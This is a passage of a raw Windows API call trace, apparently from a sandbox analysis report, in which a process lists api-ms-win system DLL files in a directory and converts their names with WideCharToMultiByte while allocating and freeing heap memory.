[0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.684] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x49c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.684] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x49c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.684] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.684] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x49c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.685] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x49c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.685] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x49c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.685] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0180.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x49c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.686] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x49c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.686] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.686] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.686] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0180.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x49c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0180.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x49c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0180.687] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, 